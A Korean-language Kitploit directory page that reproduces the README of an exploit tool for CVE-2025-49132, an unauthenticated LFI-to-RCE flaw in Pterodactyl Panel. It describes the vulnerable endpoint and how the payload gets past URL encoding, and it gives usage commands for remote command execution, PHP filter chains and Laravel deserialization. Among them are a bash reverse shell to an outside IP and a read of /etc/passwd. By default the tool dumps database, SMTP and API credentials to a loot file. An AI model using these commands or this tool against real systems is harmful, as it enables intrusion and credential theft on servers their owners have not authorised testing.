Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-49132 — Pterodactyl Panel ≤ 1.11.10에 대한 익스플로잇 - 인증되지 않은 LFI로부터 RCE | Kitploit
도구/GitHubGitHub/yoyochaud/cve-2025-49132
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubyoyochaud/cve-2025-49132

CVE-2025-49132

Pterodactyl Panel ≤ 1.11.10에 대한 익스플로잇 - 인증되지 않은 LFI로부터 RCE

저장소 보기
2516개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-49132 - Pterodactyl Panel 인증되지 않은 RCE

root@kitploit:~
  ___ __   __ ___      ___   ___  ___  ___        _  _   ___  _  ____  ___ 
 / __|\ \ / /| __|___ |_  ) / _ \|_  )| __|___   | || | / _ \| ||__ / |_  )
| (__  \ V / | _|___|  / / | (_) |/ / |__ \___|  |_  _| \_, /| ||_ \  / / 
 \___|  \_/  |___|    /___| \___//___||___/        |_|   /_/ |_|___/ /___|

Pterodactyl Panel ≤ 1.11.10 익스플로잇 - 인증되지 않은 LFI를 통한 RCE

취약점

/locales/locale.json 엔드포인트는 locale 및 namespace 매개변수를 받아들이며, 이 매개변수는 검증이나 인증 없이 PHP의 include()에 직접 전달됩니다. 패치되지 않은 버전에서는 남용을 방지하기 위한 hash 매개변수가 적용되지 않습니다.

이를 통해 다음이 가능합니다:

  • 로컬 파일 포함 (LFI) - 모든 .php 설정 파일(데이터베이스 자격 증명, APP_KEY, 메일, 세션 등) 읽기
  • 원격 코드 실행 (RCE) - pearcmd.php 포함(register_argc_argv + config-create 트릭), PHP 필터 체인, 또는 유출된 APP_KEY를 사용한 라라벨 역직렬화

영향받는 버전: Pterodactyl Panel ≤ 1.11.10 수정된 버전: 1.11.11

이 PoC의 이유?

원본 PoC는 Python requests를 사용하여 pearcmd 페이로드를 전송합니다. 문제는 requests가 <, >, {, }와 같은 문자를 자동으로 URL 인코딩하여 URL에 포함된 PHP 태그(<?=system(...)?>)를 깨뜨린다는 점입니다.

이 익스플로잇은 두 가지 주요 변경 사항으로 이를 수정합니다:

  1. 스테이지 1에 curl 사용 - 페이로드 생성 요청은 subprocess를 통해 curl -g(globoff)를 사용하여 Python의 URL 인코딩을 완전히 우회합니다.
  2. 명령 인코딩에 hex2bin() 사용 - 원시 명령(공백이나 특수 문자에서 깨짐)을 주입하는 대신, 명령을 16진수로 인코딩하고 서버 측에서 system(hex2bin('...'))로 디코딩합니다. 16진수는 0-9a-f만 사용하므로 +, =, &, 공백이 없습니다. 따라서 >& 및 /dev/tcp/를 포함한 역방향 셸을 포함한 모든 명령이 작동합니다.
  3. 동적 PEAR 경로 - /usr/share/php를 하드코딩하는 많은 정적 스크립트와 달리, 이 도구는 --pear-dir 인수를 완전히 지원합니다. 원시 curl 요청에 사용자 정의 경로를 동적으로 주입하여 비표준 구성을 가진 대상의 익스플로잇을 가능하게 합니다.
  4. 올인원 자동화 - 다양한 벡터에 대해 별도의 스크립트에 의존하는 대신, 이 도구는 전체 공격 표면(pearcmd, PHP 필터, 역직렬화, LFI .php)을 완전히 자동화하여 모든 가능성을 확인함으로써 가장 안정적인 RCE 경로를 보장합니다.

설치

root@kitploit:~
pip install requests

선택 사항 (필터 체인 / 역직렬화 RCE 방법):

root@kitploit:~
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator

사용법

RCE

root@kitploit:~
# 간단한 명령
python3 exploit.py http://panel.fr --rce-cmd "id"

# PHP 필터 체인 (PATH에 php_filter_chain_generator 필요)
python3 exploit.py http://panel.fr --rce-filter "id"

# 미리 생성된 필터 체인
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."

# 유출된 APP_KEY를 통한 라라벨 역직렬화 (phpggc + pycryptodome 필요)
python3 exploit.py http://panel.fr --rce-d "id"

# 다른 pear 디렉토리로 RCE
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR

# 역방향 셸 
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"

전체 구성 덤프 (기본 모드)

root@kitploit:~
# 모든 구성 덤프 (DB 자격 증명, APP_KEY, 메일, 세션, CORS 등) + 자동 RCE 시도
python3 exploit.py http://panel.fr

옵션

일반적인 --pear-dir 값

배포판경로
Debian / Ubuntu

기본 모드에서 덤프하는 내용

--rce-cmd / --rce-filter / --rce-d 없이 실행하면 익스플로잇이 전체 구성 추출을 수행합니다:

  • 데이터베이스 - MySQL 호스트, 포트, 사용자, 비밀번호, 데이터베이스 이름 + Redis 구성
  • 애플리케이션 - APP_KEY (→ 라라벨 역직렬화), 버전, 환경, 디버그 모드
  • Pterodactyl - 패널 특정 설정, 2FA 구성, 기능 플래그
  • 세션 - 드라이버, 쿠키 구성, 암호화 설정
  • 인증 - 잠금 구성, 비밀번호 재설정 만료
  • 서비스 - 외부 API 키 (Mailgun, Postmark 등)
  • 메일 - SMTP 자격 증명, 메일러 구성
  • Queue / Cache / Hashing / CORS / Logging / Filesystems
  • 민감한 파일 - /etc/passwd, 호스트 이름, 커널 버전 읽기 시도

전체 JSON 보고서가 loot.json에 저장됩니다(-o를 통해 사용자 지정 경로 지정 가능).

크레딧

이 익스플로잇은 GRodolphe/CVE-2025-49132_poc의 PoC를 기반으로 개선된 것이며, 이는 0xtensho/CVE-2025-49132-poc의 원본 PoC에서 영감을 받았습니다.

도구 다운로드
옵션설명
target대상 URL (예: http://panel.pterodactyl.fr)
--rce-cmd CMDpearcmd를 통해 CMD 실행 (역방향 셸을 포함한 모든 명령 지원)
--rce-filter CMDPHP 필터 체인을 통해 CMD 실행
--filter-chain CHAIN미리 생성된 php://filter 체인 사용 (--rce-filter와 함께)
--rce-d CMD라라벨 역직렬화를 통해 CMD 실행
--pear-dir PATHpearcmd.php 디렉토리 경로 (기본값: /usr/share/php)
--timeout N요청 시간 초과(초) (기본값: 10)
--verify-sslSSL 인증서 확인 활성화 (기본적으로 비활성화)
-o FILE출력 보고서 파일 (기본값: loot.json)
/usr/share/php (기본값)
openSUSE/usr/share/php/PEAR
Alpine/usr/share/php84 또는 /usr/share/php83
RHEL / Rocky/usr/share/pear